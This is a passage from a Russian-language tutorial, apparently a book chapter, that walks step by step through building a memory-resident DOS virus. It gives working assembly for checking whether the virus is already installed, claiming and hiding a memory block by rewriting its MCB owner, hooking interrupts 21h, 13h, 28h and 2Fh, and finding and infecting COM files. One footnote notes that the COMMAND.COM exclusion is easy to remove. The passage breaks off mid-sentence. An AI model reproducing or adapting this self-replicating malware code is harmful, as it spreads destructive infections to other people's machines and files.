  1564.    Константа " push_len " содержит смещение от начала
  1565.    вируса до начала секции инициализации . Именно это
  1566.    число записывается за меткой " vir " (см. п. 2.5).
  1567.    Далее следует проверить  наличие вируса  в  памяти
  1568.    (см. п. 2.3), поэтому :
  1569.  
  1570.               mov ax,0f000h          ;Проверим, есть
  1571.               mov bx,1997h           ;вирус в памяти,
  1572.               int 2fh                ;или еще нет ...
  1573.               jc fresh_bytes
  1574.  
  1575.                cmp al,0ffh
  1576.                jne free_mem           ;Нет -
  1577.                                      ;устанавливаем
  1578.  
  1579.    Для  проверки используется так называемое  мульти-
  1580.    плексное прерывание MS DOS, специально  предназна-
  1581.    ченное для использования в резидентных программах.
  1582.    В регистрах AX и BX  мы поместим код,  на  который
  1583.    реагирует вирусный обработчик этого прерывания,  и
  1584.    выполним команду " INT 2Fh " .Если вирус был уста-
  1585.    новлен в памяти,его обработчик проанализирует зна-
  1586.    чения AX и BX .И если они равны " 0f000h " и " 19-
  1587.     97h ", вернет в AL число 0ffh, которое и рассчиты-
  1588.    вает получить секция инициализации .
  1589.    Если вирусный  код уже  инсталлирован, необходимо:
  1590.    восстановить в памяти компьютера исходные три бай-
  1591.    та зараженной программы  (см. п. 2.3) :
  1592.  
  1593.    fresh_bytes:                      ;Восстанавливаем
  1594.            mov al,old_bytes       ;первые три бай-
  1595.                                      ;та зараженной
  1596.            mov cs:[100h],al       ;программы ...
  1597.            mov al,old_bytes+1
  1598.            mov cs:[101h],al
  1599.            mov al,old_bytes+2
  1600.            mov cs:[102h],al
  1601.  
  1602.    Восстановить значения сегментных регистров:
  1603.  
  1604.               mov ax,cs              ;Восстанавливаем
  1605.                                      ;сегментные
  1606.               mov es,ax              ;регистры ...
  1607.               mov start_cs,ax
  1608.               mov ds,ax
  1609.  
  1610.    И выполнить переход на начало этой программы :
  1611.  
  1612.               jmp cl_conv_1          ;Передаем управ-
  1613.    cl_conv_1: db 0eah                ;ление заражен-
  1614.               dw 100h                ;ной программе
  1615.    start_cs   dw 0
  1616.  
  1617.    Здесь  команда  " jmp cl_conv_1 " очищает  очередь
  1618.    процессора ( см. гл. 1, п. 1.7 ) . Без нее наш ви-
  1619.    рус на некоторых процессорах работал бы  некоррек-
  1620.    тно .
  1621.    Если же вируса в  памяти еще нет, нужно установить
  1622.    его в память .Эту работу выполняют команды,  запи-
  1623.    санные за меткой " free_mem " .
  1624.  
  1625.  
  1626.               2.8 Запрашиваем блок памяти
  1627.  
  1628.    Как вы уже знаете,резидентная программа должна на-
  1629.    ходиться в памяти в течение сеанса работы  компью-
  1630.    тера.Поэтому секция инициализации  должна  "попро-
  1631.     сить" MS DOS выделить для загрузки резидентной ча-
  1632.    сти соответствующий блок памяти .
  1633.    Существует целый ряд методов, позволяющих получить
  1634.    в распоряжение TSR - программы область памяти дос-
  1635.    таточного размера .Например, в обычных резидентных
  1636.    программах эту функцию выполняет MS DOS в процессе
  1637.    резидентного завершения .При этом область памяти,
  1638.    выделенная TSR - программе при ее запуске,  просто
  1639.    усекается до размера резидентной части и  остается
  1640.    занятой после завершения программы .Таким образом,
  1641.    резидентная  часть размещается  в том месте,  куда
  1642.    некогда была загружена вся программа.
  1643.    К сожалению, использование такого метода в  вирусе
  1644.    порождает  целый  ряд  проблем . Например  в  этом
  1645.    случае необходимо записывать вирусный код в  нача-
  1646.    ло, а не в конец файла - жертвы, иначе при запуске
  1647.    зараженной программы она будет " садиться " в  па-
  1648.    мять целиком .Есть и другие трудности,  преодолеть
  1649.    которые очень непросто.Не случайно такой прием при
  1650.    написании вирусов применяется редко .
  1651.    Другой способ состоит в использовании  для  поиска
  1652.    подходящего блока памяти так называемых MCB - бло-
  1653.    ков ( потом мы поговорим  о них подробнее )  . При
  1654.    этом вирус должен путем  сканирования цепочки бло-
  1655.    ков управления  памятью  ( Memory Control Blocks )
  1656.    найти свободный блок подходящего  размера,  разде-
  1657.    лить его на две части, одна из которых точно соот-
  1658.    ветствует или  несколько превышает длину вируса, и
  1659.    записать во вновь созданный блок свой код.Основной
  1660.    недостаток данного метода состоит в том  что MCB -
  1661.    блоки являются недокументированной  структурой  MS
  1662.    DOS,  и при их  использовании нужно быть готовым к
  1663.    тому,что программа будет работать на одной  машине
  1664.    и не будет работать на другой. Это также относится
  1665.    к разным версиям операционной системы .Кроме того,
  1666.    очень сложно построить эффективный алгоритм реали-
  1667.    зации этого метода . Ведь вирусный код должен  за-
  1668.    писываться  не просто  в  подходящий  по  размерам
  1669.    блок,  а в старшие адреса оперативной памяти, ина-
  1670.    че загрузка больших программ будет просто невозмо-
  1671.    жна .
  1672.    Третий  способ  заключается в том, что  код вируса
  1673.    копируется в заданную область памяти без коррекции
  1674.    MCB - блоков. Недостаток  его состоит в следующем:
  1675.    "время жизни" вируса,реализующего такой  алгоритм,
  1676.    чрезвычайно  мало и зависит  от интенсивности  ис-
  1677.    пользования  оперативной  памяти . Причем "гибель"
  1678.    вирусной программы с почти стопроцентной вероятно-
  1679.    стью приводит  к повисанию компьютера. Хотя  метод
  1680.    отличается простотой реализации и имеет ряд других
  1681.    достоинств, приведенный выше недостаток делает его
  1682.    практическое  использование маловозможным .
  1683.    Четвертый способ состоит в использовании функций,
  1684.    реализующих управление памятью.Используя его,можно
  1685.    построить эффективный и корректно работающий  про-
  1686.    граммный код,  который будет  хорошо  работать  на
  1687.    разных  машинах  и с любыми версиями  операционной
  1688.    системы .При этом его реализация весьма  проста  и
  1689.    понятна . Поэтому мы применим именно этот способ :
  1690.  
  1691.    free_mem:  mov ah,4ah             ;Определим объем
  1692.                                      ;доступной памя-
  1693.                                      ;ти ...
  1694.               mov bx,0ffffh          ;Заведомо невоз-
  1695.               int 21h                ;можное значение
  1696.                                      ;(0ffffh) !
  1697.                                      ;Ошибка будет
  1698.                                      ;обязательно, и
  1699.                                      ;проверять ее
  1700.                                      ;наличие
  1701.                                      ;не нужно !
  1702.    ; _______________________________________________
  1703.    ;| Закажем свободный блок памяти,чтобы можно было|
  1704.    ;| записать в него резидентную часть вируса ...  |
  1705.    ;|_______________________________________________|
  1706.  
  1707.               sub bx,vir_par + 2     ;Оставим вирусу
  1708.                                      ;на 2 параграфа
  1709.                                      ;больше, чем
  1710.                                      ;он сам занимает
  1711.                mov ah,4ah         ;А остальная па-
  1712.               int 21h                ;мять будет
  1713.               jc fresh_bytes         ;занята ...
  1714.  
  1715.               mov ah,48h             ;Попросим DOS
  1716.                                      ;отдать свобод-
  1717.                                      ;ный блок нам .
  1718.               mov bx,vir_par + 1     ;Запас в один
  1719.               int 21h                ;параграф ...
  1720.               jc fresh_bytes         ;Ошибка !
  1721.  
  1722.    В приведенном фрагменте использованы функции :
  1723.  
  1724.    4Ah - изменение размера блока памяти, а также
  1725.    48h - выделение блока памяти .
  1726.  
  1727.    Об их использовании вы можете прочесть в  ПРИЛОЖЕ-
  1728.    НИИ 1.
  1729.    Работа вышеприведенных команд весьма проста и осо-
  1730.    бых пояснений не требует .Стоит лишь заметить, что
  1731.    для загрузки вирусного кода выделяется  область  в
  1732.    в самом " верху " свободной оперативной памяти,что
  1733.    является почти обязательным для подавляющего боль-
  1734.    шинства вирусных программ .
  1735.  
  1736.  
  1737.             2.9 Делаем вирус " незаметным "
  1738.  
  1739.    К сожалению,выбранный нами способ поиска свободно-
  1740.    го блока памяти имеет один скрытый недостаток .Как
  1741.    вы, наверное, знаете, при завершении программы DOS
  1742.    освобождает блок памяти, который эта программа за-
  1743.    нимает .Кроме того, освобождаются также все блоки,
  1744.    которые были распределены  программе по ее  запро-
  1745.    сам .
  1746.    Предположим, вирус стартовал из зараженной програ-
  1747.    ммы, с помощью описанных ранее функций MS DOS  на-
  1748.    шел подходящий блок памяти и  записал в него  свой
  1749.    код,  предварительно переписав на этот код те  или
  1750.    иные прерывания .После этого он передает  управле-
  1751.    ние зараженной программе . Естественно, она когда-
  1752.    нибудь завершится и  передаст  управление DOS . Но
  1753.    ведь в этом случае блок, который занимает вирусный
  1754.    код, будет освобожден, и при первой  необходимости
  1755.    этот код будет уничтожен,чтобы записать на его ме-
  1756.    сто другую информацию !В результате произойдет мо-
  1757.    ментальное " повисание " компьютера .
  1758.    Очевидно, этого можно избежать, если память, зани-
  1759.    маемая вирусом, будет оставаться занятой в течение
  1760.    всего сеанса работы,и не будет освобождаться после
  1761.    завершения зараженной программы .
  1762.    Как показал эксперимент, для этой цели  достаточно
  1763.    в MCB,предшествующем выделенному для вирусного ко-
  1764.    да блоку, сделать определенные изменения.Но снача-
  1765.    ла мы немного расскажем о структуре Memory Control
  1766.    Blocks ( MCB ) и их использовании .
  1767.    Для того, чтобы следить за  использованием памяти,
  1768.    в MS DOS предусмотрена специальная структура - так
  1769.    называемый блок управления памятью,или MCB - блок.
  1770.    Такой  блок помещается  DOS непосредственно  перед
  1771.    каждым вновь выделяемым  блоком памяти,  и система
  1772.    ведет специальный список MCB - блоков,просматривая
  1773.    его при выполнении тех или иных действий,  связан-
  1774.    ных с распределением памяти.
  1775.    MCB обязательно начинается на границе параграфа  и
  1776.    всегда занимает целый параграф.Конечно,MS DOS дол-
  1777.    жна знать о том, где именно расположен первый блок
  1778.    управления памятью.На этот блок указывает внутрен-
  1779.    няя переменная DOS,  значение и местоположение ко-
  1780.    торой известно только операционной системе .
  1781.    Рассмотрим теперь структуру MCB - блока .Итак :
  1782.  
  1783.    Байт 0 -     содержит код 5Ah,если данный блок яв-
  1784.                 ляется последним в цепочке MCB, и код
  1785.                 4Dh - в противном случае .
  1786.  
  1787.    Байты 1, 2 - Содержат PID  (Program IDentificator)
  1788.                 программы, для которой  DOS  выделяла
  1789.                 блок, или ноль, если блок свободен .
  1790.  
  1791.    Байты 3, 4 - Содержат размер блока в параграфах  .
  1792.                 Следующий блок расположен в памяти по
  1793.                 адресу : MCB_NEW = MCB_OLD + lenght +
  1794.                 + 1.Здесь MCB_NEW - сегментный адрес,
  1795.                 по  которому располагается  следующий
  1796.                 MCB, MCB_OLD - сегментный адрес  рас-
  1797.                 сматриваемого MCB,а lenght - содержи-
  1798.                 мое байтов 3, 4 этого блока .
  1799.  
  1800.    Остальные одиннадцать байт блока не используются и
  1801.    могут содержать  любые данные. Но стоит  заметить,
  1802.    что повреждение байтов 1, 3 или 4 приводит к выда-
  1803.    че сообщения :
  1804.  
  1805.       Memory Allocation Error
  1806.       System Halted
  1807.  
  1808.    и немедленному " зависанию " компьютера .
  1809.    А теперь вернемся к нашей программе .
  1810.    Как  показал  эксперимент,  достаточно подменить в
  1811.    MCB, предшествующем вирусному коду,  байты 1 и 2 .
  1812.    Причем лучше всего записать вместо этих  байт  PID
  1813.    какой - нибудь из уже загруженных  в  память  про-
  1814.    грамм.Этим достигается еще и незаметность вируса в
  1815.    памяти.Советую вам попробовать загрузить несколько
  1816.    TSR - программ и в MCB одной из них подменить бай-
  1817.    ты 1 и 2 на PID какой - нибудь другой  программы .
  1818.    После этого нажмите в Volkov Commander клавиши ALT
  1819.    и F5, и вы увидите очень интересный эффект .
  1820.    Но дело в том, что для использования вышеприведен-
  1821.    ного метода необходимо еще найти программу, на PID
  1822.    которой наш вирус будет " паразитировать ".Сделать
  1823.    это не так просто, как может показаться  на первый
  1824.    взгляд .И поэтому для облегчения нашей работы вме-
  1825.    сто PID загруженной в память программы мы  запишем
  1826.    в MCB вируса сегментный адрес области данных DOS,
  1827.    а именно : 0070h :
  1828.  
  1829.    ; _______________________________________________
  1830.    ;| Теперь свободный блок памяти найден           |
  1831.    ;| ( сегментный адрес в AX ), и                  |
  1832.    ;| нужно записать в него код вируса ...          |
  1833.    ;|_______________________________________________|
  1834.  
  1835.               xor di,di              ;Делаем вирус
  1836.               mov bx,ax              ;"невидимым" в
  1837.               dec bx                 ;памяти ...
  1838.               mov word ptr cs:[2],bx
  1839.               mov es,bx
  1840.               mov bx,0070h
  1841.               mov es:[di+1],bx
  1842.  
  1843.    Предыдущий  фрагмент  вернул нам сегментный  адрес
  1844.    выделенного для вируса блока памяти в регистре AX.
  1845.    Приведенные  программные  строки  очень  просты, и
  1846.    объяснять их  работу не нужно. Следует только ска-
  1847.    зать, что вирус фактически отнимает у DOS несколь-
  1848.    ко килобайтов памяти, поэтому необходимо  скоррек-
  1849.    тировать PSP программы - носителя вируса.А именно-
  1850.    уменьшить верхнюю границу блока памяти,выделенного
  1851.    программе,на длину вирусного кода.Интересующая нас
  1852.    величина находится по смещению 02h от начала PSP.
  1853.  
  1854.  
  1855.             2.10 Получаем вектора прерываний
  1856.  
  1857.    Итак, мы нашли блок памяти, в который  часть  ини-
  1858.    циализации будет копировать вирусный код.Но прежде
  1859.    чем инсталлировать вирус в память, необходимо  уз-
  1860.    нать адреса системных обработчиков прерываний.Ведь
  1861.    вирус будет вызывать эти обработчики  перед  ( или
  1862.    после ) выполнением собственных действий по  обра-
  1863.    ботке того или иного прерывания .Если исходные об-
  1864.    работчики не будут получать управление, вычислите-
  1865.    льная система придет в аварийное состояние .
  1866.    Поэтому :
  1867.  
  1868.    ;_________________________________________________
  1869.  
  1870.               mov es,di              ;Получаем векто-
  1871.                                      ;ра прерываний
  1872.               cli
  1873.               mov di,084h            ;Int 21h ...
  1874.               mov bx,es:[di]
  1875.               mov old_21h,bx
  1876.               mov bx,es:[di+2]
  1877.               mov old_21h_2,bx
  1878.  
  1879.               mov di,0bch            ;Int 2fh ...
  1880.               mov bx,es:[di]
  1881.               mov old_2fh,bx
  1882.               mov bx,es:[di+2]
  1883.               mov old_2fh_2,bx
  1884.  
  1885.               mov di,04ch            ;Int 13h ...
  1886.               mov bx,es:[di]
  1887.               mov old_13h,bx
  1888.               mov bx,es:[di+2]
  1889.               mov old_13h_2,bx
  1890.  
  1891.               mov di,0a0h            ;Int 28h ...
  1892.               mov bx,es:[di]
  1893.               mov old_28h,bx
  1894.               mov bx,es:[di+2]
  1895.               mov old_28h_2,bx
  1896.               sti
  1897.  
  1898.    Как видим,  для определения  адресов  обработчиков
  1899.    вирус обращается непосредственно к таблице  векто-
  1900.    ров прерываний.Секция инициализации будет перехва-
  1901.    тывать прерывания: Int 21h, Int 13h, Int 28h и Int
  1902.    2fh.Несколько позже мы разберемся, почему потребо-
  1903.    валось перехватить именно их и приведем тексты ви-
  1904.    русных обработчиков этих прерываний.
  1905.  
  1906.  
  1907.           2.11 Копируем вирусный код в память
  1908.  
  1909.    Теперь настало время переписать в память код виру-
  1910.    са и подготовить его к работе в резидентном  режи-
  1911.    ме :
  1912.  
  1913.               mov word ptr vir,9090h ;Подготавливаем
  1914.               mov tg_infect,0        ;вирус к рези-
  1915.                                      ;дентной работе
  1916.  
  1917.               mov es,ax              ;И копируем его
  1918.               xor di,di              ;в память...
  1919.               mov cx,vir_len
  1920.    prg_copy:  mov bl,byte ptr vir[di]
  1921.               mov byte ptr es:[di],bl
  1922.               inc di
  1923.               loop prg_copy
  1924.  
  1925.    В  самом начале нужно сбросить в  ноль  переменную
  1926.    " tg_infect ", чтобы вирус не занимался заражением
  1927.    файлов, пока его об этом не попросят .Далее,в пер-
  1928.    вые два байта кода вируса,  который мы  собираемся
  1929.    записывать в память, следует записать две  команды
  1930.    NOP, или код 9090h ( см п. 2.2 ) .
  1931.    Теперь тело вируса просто копируется в блок  памя-
  1932.    ти, сегментный адрес которого задан в регистре AX.
  1933.  
  1934.  
  1935.          2.12 Устанавливаем вектора прерываний
  1936.                 на вирусные обработчики
  1937.  
  1938.    Все подготовительные действия выполнены, и нам то-
  1939.    лько осталось заменить адреса системных обработчи-
  1940.    ков прерываний Int 21h, Int 13h, Int 28h и Int 2fh
  1941.    на адреса вирусных обработчиков,после чего необхо-
  1942.    димо передать управление зараженной программе .Это
  1943.    мы сейчас и сделаем :
  1944.  
  1945.               xor bx,bx              ;Устанавливаем
  1946.                                      ;вектора преры-
  1947.            mov es,bx              ;ваний на вирус-
  1948.               cli                    ;ные обработчики
  1949.               mov di,084h
  1950.               mov word ptr es:[di],to_new_21h
  1951.               mov es:[di+2],ax       ; Int 21h
  1952.  
  1953.               mov di,0bch
  1954.               mov word ptr es:[di],to_new_2fh
  1955.               mov es:[di+2],ax       ; Int 2fh
  1956.  
  1957.            mov di,04ch
  1958.               mov word ptr es:[di],to_new_13h
  1959.               mov es:[di+2],ax       ; Int 13h
  1960.  
  1961.            mov di,0a0h
  1962.               mov word ptr es:[di],0
  1963.               mov es:[di+2],ax       ; Int 28h
  1964.               sti
  1965.  
  1966.               jmp fresh_bytes        ;Установка
  1967.                                      ;завершена ...
  1968.  
  1969.    Модификация векторов прерываний в особых коммента-
  1970.    риях не  нуждается . А команда " jmp fresh_bytes "
  1971.    передает управление на программный код,выполняющий
  1972.    восстановление исходных трех байт программы - жер-
  1973.    твы .
  1974.    Таким образом, мы разработали секцию инициализации
  1975.    нашего вируса . И поэтому настало время перейти  к
  1976.    созданию резидентной секции .Все оставшиеся пункты
  1977.    этой главы будут посвящены именно разработке рези-
  1978.    дентной части .
  1979.  
  1980.  
  1981.               2.13 Пишем резидентную часть
  1982.  
  1983.    Начало резидентной части мы создали в первых пунк-
  1984.    тах главы ( см п. 2.5 ).А теперь просто продолжим,
  1985.    и допишем до конца "заразную" часть вирусной  про-
  1986.    граммы :
  1987.  
  1988.    infect:    push cs                ;DS = CS ...
  1989.               pop ds
  1990.  
  1991.               mov ax,ds              ;TSR - коррекция
  1992.               sub ax,11h             ;DS ...
  1993.               mov ds,ax
  1994.  
  1995.               cmp tg_13h,0           ;INT 13h
  1996.                                      ;выполняется ?
  1997.               je cs:all_right        ;Нет ...
  1998.               jmp cs:exit_zarasa     ;Да - на выход
  1999.  
  2000.    Сразу за меткой " infect " мы записали команды ко-
  2001.    торые корректируют  содержимое DS при работе в ре-
  2002.    зидентном режиме .Если этого не сделать,  то отно-
  2003.    сительный адрес каждой ячейки памяти придется уме-
  2004.    ньшать на 110h ( см п. 2.5 ).Далее вирус проверяет
  2005.    значение переменной "tg_13h" .Дело в том,что рези-
  2006.    дентный вирус  обязательно должен заражать  файлы,
  2007.    находясь в памяти, и поэтому без обращения к диску
  2008.    в резидентном режиме нам не обойтись.Такое обраще-
  2009.    ние, естественно, должно происходить  только  в те
  2010.    моменты,когда никакие другие программы не работают
  2011.    с диском .Если это условие не соблюдается,  непре-
  2012.    менно возникнет программный конфликт, что приведет
  2013.    к неприятным последствиям .Особенно это  относится
  2014.    к тем случаям,когда на машине установлен какой-ни-
  2015.    будь кэш ( например,  SMARTDRIVE или HYPERDISK ) .
  2016.    В этом случае может случиться так, что вирус и кэш
  2017.    попробуют обратиться к диску  одновременно,  а это
  2018.    недопустимо !
  2019.    Решить проблему помогает введение переменной "tg_
  2020.     13h" .Она принимает значение " 1 ", когда к  диску
  2021.    выполняется обращение, или значение " 0 ", если  в
  2022.    данный момент обращения к диску нет.Для  инициали-
  2023.    зации переменной используется специальный "фильтр"
  2024.    прерывания Int 13h, который будет описан ниже .
  2025.    Итак, если " tg_13h " равна " 1 ",вирус возвращает
  2026.    управление прерванной программе,в противном случае
  2027.    работа вирусного кода продолжается .
  2028.  
  2029.  
  2030.                 2.14 Заражаем COM - файл
  2031.  
  2032.    В случае, если  прерывание Int 13h не выполняется,
  2033.    можно  заняться поиском подходящего COM - файла  и
  2034.    его заражением.Этот процесс практически не отлича-
  2035.    ется от действий нерезидентного вируса,  и поэтому
  2036.    мы просто используем разработанный ранее блок,  не
  2037.    останавливаясь подробно на его работе :
  2038.  
  2039.    all_right: mov ah,2fh             ;Получим текущую
  2040.               int 21h                ;DTA ( ES : BX )
  2041.  
  2042.               mov bp,bx
  2043.  
  2044.            mov cx,80h             ;Сохраним эту
  2045.            lea si,dta_save        ;DTA ...
  2046.               mov di,bp
  2047.    save_dta:
  2048.            mov al,byte ptr es:[di]
  2049.            mov [si],al
  2050.            inc si
  2051.               inc di
  2052.            loop cs:save_dta
  2053.  
  2054.    find_first:                       ;Найдем первый
  2055.            mov ah,4eh             ;файл ...
  2056.            mov cx,00100111b
  2057.            lea dx,maska
  2058.            int 21h
  2059.            jnc cs:retry_2
  2060.            jmp restore_dta
  2061.  
  2062.    find_next: mov ah,3eh             ;Закроем непод-
  2063.            int 21h                ;ходящий файл
  2064.            jnc cs:retry_1
  2065.            jmp cs:restore_dta
  2066.  
  2067.    retry_1:   mov ah,4fh             ;Найдем следую-
  2068.            int 21h                ;щий ...
  2069.            jnc cs:retry_2
  2070.            jmp cs:restore_dta
  2071.  
  2072.    retry_2:   mov cx,12              ;Сотрем старое
  2073.            lea si,fn              ;имя в буфере
  2074.    destroy_name:
  2075.            mov byte ptr [si],0
  2076.            inc si
  2077.            loop cs:destroy_name
  2078.  
  2079.               xor si,si              ;И запишем туда
  2080.            mov di,bp              ;новое ...
  2081.    copy_name: mov al,byte ptr es:[di+1eh]
  2082.            cmp al,0
  2083.            je cs:check_command
  2084.            mov byte ptr fn[si],al
  2085.            inc si
  2086.               inc di
  2087.            jmp cs:copy_name
  2088.  
  2089.    check_command:
  2090.                                      ;Проверим, не
  2091.                                      ;является - ли
  2092.               call cs:search         ;файл командным
  2093.               cmp inside,1           ;процессором...
  2094.               je cs:retry_1
  2095.  
  2096.               mov ax,3d02h           ;Откроем этот
  2097.            lea dx,fn              ;файл ...
  2098.            int 21h
  2099.            jnc cs:save_bytes
  2100.            jmp cs:restore_dta
  2101.  
  2102.    save_bytes:                       ;Считаем первые
  2103.            mov bx,ax              ;три байта
  2104.            mov ah,3fh
  2105.            mov cx,3
  2106.            lea dx,old_bytes
  2107.            int 21h
  2108.            jnc cs:found_size
  2109.            jmp cs:close
  2110.  
  2111.    found_size:mov di,bp
  2112.               cmp word ptr es:[di+01ch],0
  2113.               jne cs:more_64K        ;Найдем его раз-
  2114.            mov ax,es:[di+01ah]    ;мер ...
  2115.  
  2116.    count_size:mov si,ax              ;Вычислим
  2117.                                      ;смещения ...
  2118.            cmp ax,64000
  2119.            jna cs:smallest
  2120.    more_64K:  jmp cs:find_next
  2121.    smallest:  test ax,000fh
  2122.            jz cs:krat_16
  2123.            or ax,000fh
  2124.            inc ax
  2125.    krat_16:   mov di,ax
  2126.            sub ax,3
  2127.            mov byte ptr new_bytes[1],al
  2128.            mov byte ptr new_bytes[2],ah
  2129.            mov ax,di
  2130.            mov cl,4
  2131.            shr ax,cl
  2132.            dec ax
  2133.            mov byte ptr add_to_ds,al
  2134.            mov byte ptr add_to_ds+1,ah
  2135.  
  2136.            mov ax,4200h           ;Считаем послед-
  2137.            xor cx,cx              ;ний байт ...
  2138.            dec si
  2139.            mov dx,si
  2140.            int 21h
  2141.            jnc cs:read_last
  2142.            jmp cs:close
  2143.  
  2144.    read_last:
  2145.            mov ah,3fh
  2146.            mov cx,1
  2147.            lea dx,last
  2148.            int 21h
  2149.            jc cs:close
  2150.  
  2151.            cmp last,'1'           ;Индикатор зара-
  2152.            jne cs:write_vir       ;жения ...
  2153.            jmp cs:find_next
  2154.  
  2155.    write_vir: mov ax,4200h           ;Запишем начало
  2156.            xor cx,cx              ;вируса ...
  2157.            mov dx,di
  2158.            int 21h
  2159.            jc cs:close
  2160.  
  2161.               mov ah,40h
  2162.               mov cx,2
  2163.               lea dx,end_file
  2164.               int 21h
  2165.               jc cs:close
  2166.                                      ;И остальную
  2167.               mov ah,40h             ;часть ...
  2168.               mov cx,vir_len - 2
  2169.               lea dx,vir + 2
  2170.               int 21h
  2171.               jc cs:close
  2172.  
  2173.    write_bytes:                      ;Запишем первые
  2174.            mov ax,4200h           ;три байта
  2175.            xor cx,cx
  2176.            xor dx,dx
  2177.            int 21h
  2178.            jc cs:close
  2179.  
  2180.               mov ah,40h
  2181.               mov cx,3
  2182.               lea dx,new_bytes
  2183.               int 21h
  2184.  
  2185.    close:     mov ah,3eh             ;Закроем зара-
  2186.               int 21h                ;женный файл
  2187.  
  2188.    restore_dta:
  2189.               mov cx,80h             ;Восстановим DTA
  2190.            lea si,dta_save
  2191.               mov di,bp
  2192.    dta_fresh:
  2193.               mov al,[si]
  2194.            mov byte ptr es:[di],al
  2195.            inc si
  2196.               inc di
  2197.            loop cs:dta_fresh
  2198.  
  2199.    Как видите, в созданный ранее фрагмент были внесе-
  2200.    ны некоторые изменения, в которых мы сейчас и раз-
  2201.    беремся .
  2202.    Поскольку вирус будет заражать файлы в резидентном
  2203.    режиме,он будет пользоваться DTA активной в данный
  2204.    момент программы,что приведет к ее разрушению.Что-
  2205.    бы этого не происходило, нужно сохранить ее в  об-
  2206.    ласти данных вируса, а после завершения работы ви-
  2207.    руса - восстановить.Получить адрес текущей DTA мо-
  2208.    жно с помощью функции DOS 2Fh, которая и использу-
  2209.    ется вирусом .
  2210.    Следующее отличие - наш вирус проверяет,является -
  2211.    ли найденный файл командным  процессором  COMMAND.
  2212.    COM .Для этого используется процедура SEARCH,кото-
  2213.    рая возвращает INSIDE = 1,  если найден  командный
  2214.    процессор, или INSIDE = 0 - в противном случае .
  2215.    Так как иногда COM-файлы на самом деле имеют EXE -
  2216.    формат, их размер может превышать 64 Кбайта,и сле-
  2217.    дует  проверить,  не является - ли найденный  нами
  2218.    файл  именно  таким, иначе при  заражении он будет
  2219.    безнадежно испорчен .С этой целью вирус  считывает
  2220.    из DTA слово по смещению  01Ch,  и сравнивает  его
  2221.    с нулем .Если это слово равно нулю,размер файла не
  2222.    превышает 64 Кбайт,и его можно заражать .Кроме то-
  2223.    го,неплохо было бы проверить формат файла.Для это-
  2224.    го нужно  проверить его первые два байта. Если  мы
  2225.    имеем дело с EXE - файлом, то указанные байты  со-
  2226.    держат ASCII - коды символов " M " и " Z ". Думаю,
  2227.    читатель сам при желании допишет несколько необхо-
  2228.    димых для этого команд.
  2229.    И последнее - мы выяснили,( см. п. 2.5) что первы-
  2230.    ми двумя байтами,которые должны записываться в ко-
  2231.    нец файла, должна быть команда перехода на  секцию
  2232.    инициализации вируса .Эту функцию выполняют коман-
  2233.    ды,записанные за меткой " write_vir " .Сам код ко-
  2234.    манды перехода хранится в области " end_file " .
  2235.  
  2236.    *
  2237.      Не спешите торжествовать по поводу того, что ав-
  2238.      тор этой книги не смог сделать вирус, заражающий
  2239.      COMMAND.COM, и поэтому, вероятно, является "чай-
  2240.       ником". На  самом деле  вирус отлично работает с
  2241.      командным процессором и при этом не глюкует. За-
  2242.      щита введена только для вашего же блага, так как
  2243.      заражение  COMMAND.COM " нестандартным " вирусом
  2244.      - крайне неприятное  событие. Подготовленный чи-
  2245.      татель без  труда  снимет такую " защиту ".
  2246.  
  2247.  
  2248.              2.15 Восстанавливаем регистры
  2249.  
  2250.    Перед тем, как передать управление прерванной про-
  2251.    грамме,необходимо восстановить значения регистров,
  2252.    которые имели место при получении управления рези-
  2253.    дентной  программой :
  2254.  
  2255.    exit_zarasa:                      ;Восстановим
  2256.                                      ;регистры
  2257.                                      ;процессора ...
  2258.               pop es
  2259.               pop ds
  2260.               pop bp
  2261.               pop di
  2262.               pop si
  2263.               pop dx
  2264.               pop cx
  2265.               pop bx
  2266.               pop ax
  2267.            popf
  2268.               mov ss,cs:ss_save-110h ;Восстановим
  2269.               mov sp,cs:sp_save-110h ;стек ...
  2270.               iret
  2271.  
  2272.    Кроме того, вирус восстанавливает стек  прерванной
  2273.    программы, без чего дальнейшая работа невозможна .
  2274.  
  2275.  
  2276.            2.16 Пишем обработчики прерываний
  2277.  
  2278.    Для начала выясним, какие прерывания и с какой це-
  2279.    лью наш вирус будет перехватывать .
  2280.    Во - первых, необходимо перехватить прерывание Int
  2281.    21h .Дело в том, что наш вирус является  резидент-
  2282.    ным, и должен заражать файлы при тех или иных  со-
  2283.    бытиях в вычислительной системе.Очень многие виру-
  2284.    сы активизируются, например,при смене текущего ди-
  2285.    ска или каталога .Этот метод является весьма удач-
  2286.    ным, и мы реализуем именно его .Но для этого нужно
  2287.    знать, когда именно выполняются смена каталога или
  2288.    диска.Единственный способ узнать о таком событии -
  2289.    это перехватить прерывание Int 21h на себя,  и при
  2290.    каждом его вызове проверять, какая именно  функция
  2291.    вызывается . Так мы и сделаем .
  2292.    Во - вторых, нам не обойтись без перехвата Int 13h
  2293.    ( см п. 2.13 ) .
  2294.    В - третьих,поскольку наш вирус будет пользоваться
  2295.    функциями DOS,которые работают с диском в резиден-
  2296.    тном режиме,необходимо знать,когда можно безопасно
  2297.    обращаться  к этим  функциям . Для  этого  следует
  2298.    перехватить прерывание Int 28h,которое всегда  вы-
  2299.    зывается только при выполнении DOS реентерабельной
  2300.    секции своего кода .Иными словами, при возникнове-
  2301.    нии  прерывания Int 28h можно  смело  пользоваться
  2302.    любыми  функциями DOS .
  2303.    Далее, для проверки наличия вирусного кода в памя-
  2304.    ти  наш вирус будет  использовать  так  называемое
  2305.    мультиплексное прерывание - Int 2fh, и поэтому  мы
  2306.    должны перехватить и его ( см п. 2.7 ) .
  2307.    И, наконец, мы должны написать обработчик критиче-
  2308.    ской ошибки .Она возникает,например,если  мы попы-
  2309.    таемся записать информацию на вынутую из дисковода
  2310.    дискету . Наш вирус должен  перехватить прерывание
  2311.    по критической ошибке ( Int 24h ) и выполнить  его
  2312.    обработку .
  2313.  
  2314.  
  2315.                 2.17 Обработчик Int 13h
  2316.  
  2317.    Как мы уже выяснили, этот обработчик должен  запи-
  2318.    сывать в ячейку " tg_13h " значение " 1 ", если  в
  2319.    данный момент выполняется прерывание Int 13h,  или
  2320.    значение " 0 " - в противном случае .
  2321.    К сожалению,в MS DOS отсутствует какое - либо сре-
  2322.    дство,  позволяющее узнать,  когда именно  активно
  2323.    прерывание Int 13h .И поэтому  единственный способ
  2324.    решения этой задачи - установка на Int 13h так на-
  2325.    зываемого " фильтра ",  который  отслеживал бы все
  2326.    вызовы вышеуказанного прерывания .
  2327.    Самое простое решение - это перехватить Int 13h на
  2328.    себя,а в самом обработчике вызвать системный обра-
